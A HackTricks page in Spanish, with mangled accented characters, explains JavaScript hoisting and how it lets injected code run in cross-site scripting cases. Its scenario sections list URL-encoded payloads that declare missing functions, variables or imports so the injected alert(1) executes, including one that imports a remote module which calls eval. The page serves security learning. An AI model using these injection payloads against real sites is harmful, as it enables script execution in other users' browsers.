JS Hoisting
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Informaci贸n B谩sica
En el lenguaje JavaScript, se describe un mecanismo conocido como Hoisting donde las declaraciones de variables, funciones, clases o importaciones se elevan conceptualmente a la parte superior de su 谩mbito antes de que se ejecute el c贸digo. Este proceso es realizado autom谩ticamente por el motor de JavaScript, que revisa el script en m煤ltiples pasadas.
Durante la primera pasada, el motor analiza el c贸digo para verificar errores de sintaxis y lo transforma en un 谩rbol de sintaxis abstracta. Esta fase incluye el hoisting, un proceso donde ciertas declaraciones se mueven a la parte superior del contexto de ejecuci贸n. Si la fase de an谩lisis es exitosa, lo que indica que no hay errores de sintaxis, la ejecuci贸n del script contin煤a.
Es crucial entender que:
- El script debe estar libre de errores de sintaxis para que la ejecuci贸n ocurra. Las reglas de sintaxis deben ser estrictamente respetadas.
- La colocaci贸n del c贸digo dentro del script afecta la ejecuci贸n debido al hoisting, aunque el c贸digo ejecutado puede diferir de su representaci贸n textual.
Tipos de Hoisting
Basado en la informaci贸n de MDN, hay cuatro tipos distintos de hoisting en JavaScript:
- Value Hoisting: Permite el uso del valor de una variable dentro de su 谩mbito antes de su l铆nea de declaraci贸n.
- Declaration Hoisting: Permite referenciar una variable dentro de su 谩mbito antes de su declaraci贸n sin causar un
ReferenceError
, pero el valor de la variable ser谩undefined
. - Este tipo altera el comportamiento dentro de su 谩mbito debido a la declaraci贸n de la variable antes de su l铆nea de declaraci贸n real.
- Los efectos secundarios de la declaraci贸n ocurren antes de que se eval煤e el resto del c贸digo que la contiene.
En detalle, las declaraciones de funciones exhiben un comportamiento de hoisting de tipo 1. La palabra clave var
demuestra un comportamiento de tipo 2. Las declaraciones l茅xicas, que incluyen let
, const
y class
, muestran un comportamiento de tipo 3. Por 煤ltimo, las declaraciones import
son 煤nicas en que se elevan con comportamientos de tipo 1 y tipo 4.
Escenarios
Por lo tanto, si tienes escenarios donde puedes Inyectar c贸digo JS despu茅s de que se use un objeto no declarado, podr铆as corregir la sintaxis declar谩ndolo (para que tu c贸digo se ejecute en lugar de lanzar un error):
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};
//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')
//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn麓t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]
M谩s Escenarios
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")
// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};
export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert
try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
Referencias
- https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios
- https://developer.mozilla.org/en-US/docs/Glossary/Hoisting
- https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.